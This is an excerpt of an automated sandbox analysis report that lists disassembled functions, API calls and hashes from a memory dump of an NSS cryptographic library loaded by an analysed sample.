Instruction ID: 96968e15d712d2bf2b7c3cbabc7411a1159df50cbfd1495cab9fc49957aee61b
Opcode Fuzzy Hash: fa6982e2f7cb0de6bb2f3703adbc3884e885850c9e7266d9945c174036c7836b
Instruction Fuzzy Hash: 96018BB5A002009FDF00CF58E8D0B5677E8AF05B18F1880A8E9598F707D731E809CBAA

Function 6C5E9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C5E9D45
EnterCriticalSection.KERNEL32(?), ref: 6C5E9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C5E9DDE

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 2907e448da2e801e9dfb9984e3d5a46083723adb280f9f6616f0a518a9036c6e
Instruction ID: 1be4a305a51174723a6a6b9320aeef6d6943676756e98749c0bce4803bf0d159
Opcode Fuzzy Hash: 2907e448da2e801e9dfb9984e3d5a46083723adb280f9f6616f0a518a9036c6e
Instruction Fuzzy Hash: CBA1C071B041049BEB09EF65ED98BAE3771BB8B315F28013DD41B47B40DB3AA845DB86

Function 6C671E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C671ECC

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

TlsGetValue.KERNEL32 ref: 6C671EDF
EnterCriticalSection.KERNEL32(?), ref: 6C671EEF
PR_ExitMonitor.NSS3(?), ref: 6C671F37
PR_Unlock.NSS3(?), ref: 6C671F44

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 714e8c963c6926c846780f2ad043af55d33668e3c524f8ac81fbc91ef7f71f6b
Instruction ID: baa2013d6119d48b91dfd681aa8cf36bf272b051ce71a4a96a969605ffefa8d8
Opcode Fuzzy Hash: 714e8c963c6926c846780f2ad043af55d33668e3c524f8ac81fbc91ef7f71f6b
Instruction Fuzzy Hash: 5771CFB19043019FD720CF25D840A5BB7F5FF89358F14492AE8A993B20E731F959CBA6

Function 6C6FDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6FDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C6FDE77

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: f3e8d43a588b19c0638e166605bb9be105372349646f398e5b9cbf83a3275add
Instruction ID: 0be859b1f8e24fc8667292f647e75161ffc1a682335b1ad90b00df2dab8eadbf
Opcode Fuzzy Hash: f3e8d43a588b19c0638e166605bb9be105372349646f398e5b9cbf83a3275add
Instruction Fuzzy Hash: 23716571A01319CFDB10CF9AC580A8AB7B6BF49718F25816DD9696B742D730B902CF94

Function 6C66DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(D958E852,6C671397,5B5F5EC0,?,?,6C66B1EE,2404110F,?,?), ref: 6C66AB3C
Part of subcall function 6C66AB10: free.MOZGLUE(D958E836,?,6C66B1EE,2404110F,?,?), ref: 6C66AB49
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(5D5E6C86), ref: 6C66AB5C
Part of subcall function 6C66AB10: free.MOZGLUE(5D5E6C7A), ref: 6C66AB63
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C66AB6F
Part of subcall function 6C66AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C66AB76

TlsGetValue.KERNEL32(?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66DFDA
EnterCriticalSection.KERNEL32(?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66E029
PK11_IsLoggedIn.NSS3 ref: 6C66E046

Part of subcall function 6C678F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FAF
Part of subcall function 6C678F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FD1
Part of subcall function 6C678F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FFA
Part of subcall function 6C678F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679013
Part of subcall function 6C678F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679042
Part of subcall function 6C678F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C67905A
Part of subcall function 6C678F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679073
Part of subcall function 6C678F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679111

PR_Unlock.NSS3(?,?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66E149

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 4fc474f5d86d2ec33e35288fb25c01d8c0b3045a13196473d1bd33007aa38741
Instruction ID: 18c7d8798a20d172c70a0f185cc4dae8b22bb4d0f324da3bf169ed16ee5eeb3a
Opcode Fuzzy Hash: 4fc474f5d86d2ec33e35288fb25c01d8c0b3045a13196473d1bd33007aa38741
Instruction Fuzzy Hash: 4E515870600611CFDB10DF2AC98476ABBF1BF49308F15896DD8998BB51E731E885CBDA

Function 6C67BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C67BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C659F71,?,?,00000000), ref: 6C67BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C67BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C67C014

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 9862d80bd16a36f98cd79ef4f5b7994e978c16a6c9eedaa560cb48b75f597c50
Instruction ID: 19848bddc68823ba682d0d8ed3f49796023947e938930408a06913af4e5852ee
Opcode Fuzzy Hash: 9862d80bd16a36f98cd79ef4f5b7994e978c16a6c9eedaa560cb48b75f597c50
Instruction Fuzzy Hash: 4A41F671A012059BEB20CE76CC44BEA73B9AF85708F504928D919D7B41FB35E845CBF9

Function 6C64EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C64EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C64EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C64EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C64EEEB
free.MOZGLUE(?), ref: 6C64EEF6

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 3184e8eda1d1ade1f997ca3184a1b9deac8741dbf9026a58758616005030ad1c
Instruction ID: 28afcd085743d4c76425754edaca64e5968d53c7264d63d4820634be28509644
Opcode Fuzzy Hash: 3184e8eda1d1ade1f997ca3184a1b9deac8741dbf9026a58758616005030ad1c
Instruction Fuzzy Hash: 6A310471A00201ABE720DF29CC44FA6BBF4FB46345F14C538E85A87A51EB31E815CBE9

Function 6C661F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C661F1C

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C779EBC), ref: 6C661FB8
SEC_ASN1EncodeItem_Util.NSS3(6C779E9C,?,?,6C779E9C), ref: 6C66200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C662020

Part of subcall function 6C656A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C65AD50,?,?), ref: 6C656A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C662030

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 102ae02ff2988ea0f9110f967f9e6b8013390399b1c465bde6980595648b5229
Instruction ID: bfab6205923e9a93b8613e8963bfc35920eedc174a037c7a8ea97f5634eaceb6
Opcode Fuzzy Hash: 102ae02ff2988ea0f9110f967f9e6b8013390399b1c465bde6980595648b5229
Instruction Fuzzy Hash: ED212BB5902505BBEB114A16DD40FAA77A8FF5231CF140214E82896F80E771E528C7AF

Function 6C651DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C651E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C651E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C651E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C651E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C651EAD

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 01010e6c3290d37ed08eb7786f42cefba1e5120d9734f5cf67bb4071f3cbbbd7
Instruction ID: c33e71caaa298f7da98787a6f5917035e6ea9d60cc3ef3ccefed14ae98303270
Opcode Fuzzy Hash: 01010e6c3290d37ed08eb7786f42cefba1e5120d9734f5cf67bb4071f3cbbbd7
Instruction Fuzzy Hash: BC213772F08315ABD7008F68DC40B8FB395DB85328FA44638ED6957780E730D92A87DA

Function 6C761E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C761E5C

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

PR_Lock.NSS3(00000000), ref: 6C761E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C761EAB
PR_GetCurrentThread.NSS3 ref: 6C761ED0
PR_Unlock.NSS3(?), ref: 6C761EE8

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 08bfd8bfc30a498c366b78bcd2fdd6591b97ac002fd697a69e90241fe7f9d899
Instruction ID: ae06f6bdf573e29cacf09c90b6e8f763d18a3764e1945c8a43a8bc85d5210ab7
Opcode Fuzzy Hash: 08bfd8bfc30a498c366b78bcd2fdd6591b97ac002fd697a69e90241fe7f9d899
Instruction Fuzzy Hash: 7D21D074A04512AFD710CF2ADA48A06B7B9FF44719B298229DC158BF41D730FC11CBD5

Function 6C6ABE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?,?), ref: 6C6ABED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEEB

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: e879e8b055f98f205cf9e96e81b5dbdfc012a60c71f18fa40ce77fd96c3f1104
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: F8112276A0434977E70089E5AC80F5B77ADABC5798F084035FE0482A52F731DC0687EE

Function 6C65AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000,00000000), ref: 6C65ADA7

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000,00000000), ref: 6C65ADB4

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C653FFF,?,?,?,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000), ref: 6C65ADD5

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7794B0,?,?,?,?,?,?,?,?,6C653FFF,00000000,?), ref: 6C65ADEC

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C653FFF), ref: 6C65AE3C

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: ebb193397e285113d0e189185152e1a2e5947280fed7943d174f79aaad0790c9
Instruction ID: 27ed6569a04d92954165ae014cd61dd11bdc312eeb750d1a6e9b737d0e3b2ae4
Opcode Fuzzy Hash: ebb193397e285113d0e189185152e1a2e5947280fed7943d174f79aaad0790c9
Instruction Fuzzy Hash: 06113B71E002096BE7109B659C40BBF77F8DF9624CF544228EC1596742FB20E96983FE

Function 6C668FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C670710), ref: 6C668FF1
PR_CallOnce.NSS3(6C7B2158,6C669150,00000000,?,?,?,6C669138,?,6C670710), ref: 6C669029
calloc.MOZGLUE(00000001,00000000,?,?,6C670710), ref: 6C66904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C670710), ref: 6C669066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C670710), ref: 6C669078

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: ff90a53b7a5958ba3811b4957fa6c999bbb28d6900d858da33bf78c82e73b22a
Instruction ID: 45ba7cc42a50ff9c94cf7c6d53c32ccfcab0a193aba7bc86265c7a4583acb825
Opcode Fuzzy Hash: ff90a53b7a5958ba3811b4957fa6c999bbb28d6900d858da33bf78c82e73b22a
Instruction Fuzzy Hash: F011E57170011167EB101BAFAD04A6672ACEB827ADF540535FC84C6E40F752CD4583AE

Function 6C67CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C691E10: TlsGetValue.KERNEL32 ref: 6C691E36
Part of subcall function 6C691E10: EnterCriticalSection.KERNEL32(?,?,?,6C66B1EE,2404110F,?,?), ref: 6C691E4B
Part of subcall function 6C691E10: PR_Unlock.NSS3 ref: 6C691E76

free.MOZGLUE(?,6C67D079,00000000,00000001), ref: 6C67CDA5
PK11_FreeSymKey.NSS3(?,6C67D079,00000000,00000001), ref: 6C67CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C67D079,00000000,00000001), ref: 6C67CDCF
DeleteCriticalSection.KERNEL32(?,6C67D079,00000000,00000001), ref: 6C67CDE2
free.MOZGLUE(?), ref: 6C67CDE9

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
